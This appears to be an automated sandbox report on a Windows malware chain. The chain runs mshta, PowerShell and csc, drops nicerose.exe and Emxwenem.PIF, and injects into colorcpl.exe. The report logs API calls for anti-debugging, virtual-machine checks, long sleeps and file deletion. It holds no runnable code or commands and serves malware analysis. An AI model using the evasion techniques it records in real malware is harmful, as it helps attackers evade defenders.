                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCA95C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_02BCA95C
                Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX

                Malware Analysis System Evasion

                barindex
                Allocates many large memory junks
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2BF0000 memory commit 500006912Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2BF1000 memory commit 500178944Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C1C000 memory commit 500002816Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C1D000 memory commit 500199424Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C4E000 memory commit 501014528Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2D46000 memory commit 500006912Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2D48000 memory commit 500015104Jump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C20000 memory commit 500006912
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C21000 memory commit 500178944
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C4C000 memory commit 500002816
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C4D000 memory commit 500199424
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2C7E000 memory commit 501014528
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2D76000 memory commit 500006912
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: 2D78000 memory commit 500015104
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2BB0000 memory commit 500006912Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2BB1000 memory commit 500178944Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2BDC000 memory commit 500002816Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2BDD000 memory commit 500199424Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2C0E000 memory commit 501014528Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2D06000 memory commit 500006912Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: 2D08000 memory commit 500015104Jump to behavior
                Delayed program exit found
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281E18D Sleep,ExitProcess,10_2_0281E18D
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248E18D Sleep,ExitProcess,14_2_0248E18D
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,10_2_028286FE
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,14_2_024986FE
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6168Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3387Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeWindow / User API: threadDelayed 2773Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeWindow / User API: threadDelayed 6775Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeWindow / User API: foregroundWindowGot 1757Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.dllJump to dropped file
                Source: C:\Windows\SysWOW64\colorcpl.exeAPI coverage: 5.1 %
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3492Thread sleep count: 6168 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3492Thread sleep count: 3387 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5868Thread sleep time: -11990383647911201s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exe TID: 2260Thread sleep count: 179 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exe TID: 2260Thread sleep time: -89500s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exe TID: 5660Thread sleep count: 2773 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exe TID: 5660Thread sleep time: -8319000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exe TID: 5660Thread sleep count: 6775 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exe TID: 5660Thread sleep time: -20325000s >= -30000sJump to behavior
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BB58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,6_2_02BB58B4
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,10_2_0281B28E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,10_2_0281838E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0282A01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,10_2_0282A01B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028187A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,10_2_028187A0
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02827AAB FindFirstFileW,FindNextFileW,FindNextFileW,10_2_02827AAB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,10_2_0281AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028168CD FindFirstFileW,FindNextFileW,10_2_028168CD
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02817848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,10_2_02817848
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_0281AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,10_2_0281AC78
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248B28E FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,14_2_0248B28E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248838E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,14_2_0248838E
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0249A01B FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,14_2_0249A01B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024887A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,14_2_024887A0
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248AA71 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,14_2_0248AA71
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02497AAB FindFirstFileW,FindNextFileW,FindNextFileW,14_2_02497AAB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_02487848 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,14_2_02487848
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024868CD FindFirstFileW,FindNextFileW,14_2_024868CD
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_0248AC78 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,14_2_0248AC78
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02816D28 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,10_2_02816D28
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: nicerose.exe, 00000006.00000002.2251387721.000000000086F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWx
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
                Source: nicerose.exe, 00000006.00000002.2251387721.0000000000884000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWM
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
                Source: powershell.exe, 00000003.00000002.2187825048.0000000008A48000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2251387721.0000000000884000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000003.2291953683.0000000025F7D000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F7D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: powershell.exe, 00000003.00000002.2187825048.00000000089C2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW(
                Source: powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
                Source: Emxwenem.PIF, 0000000B.00000002.2368142118.00000000005CE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000002.2450656180.0000000000684000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Users\user\AppData\Roaming\nicerose.exeAPI call chain: ExitProcess graph end nodegraph_6-62490
                Source: C:\Windows\SysWOW64\colorcpl.exeAPI call chain: ExitProcess graph end nodegraph_10-46675
                Source: C:\Users\Public\Libraries\Emxwenem.PIFAPI call chain: ExitProcess graph end node
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

                Anti Debugging

                barindex
                Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BCEBF0 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,6_2_02BCEBF0
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess queried: DebugPortJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess queried: DebugPort
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028427AE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_028427AE
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02BC87A0 LoadLibraryW,GetProcAddress,FreeLibrary,6_2_02BC87A0
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C90939 mov eax, dword ptr fs:[00000030h]6_2_02C90939
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C51D41 mov eax, dword ptr fs:[00000030h]6_2_02C51D41
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028507B5 mov eax, dword ptr fs:[00000030h]10_2_028507B5
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024C07B5 mov eax, dword ptr fs:[00000030h]14_2_024C07B5
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02820763 SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,10_2_02820763
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028427AE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_028427AE
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028498AC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_028498AC
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028428FC SetUnhandledExceptionFilter,10_2_028428FC
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_02842D5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_02842D5C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B27AE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_2_024B27AE
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B28FC SetUnhandledExceptionFilter,14_2_024B28FC
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B98AC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,14_2_024B98AC
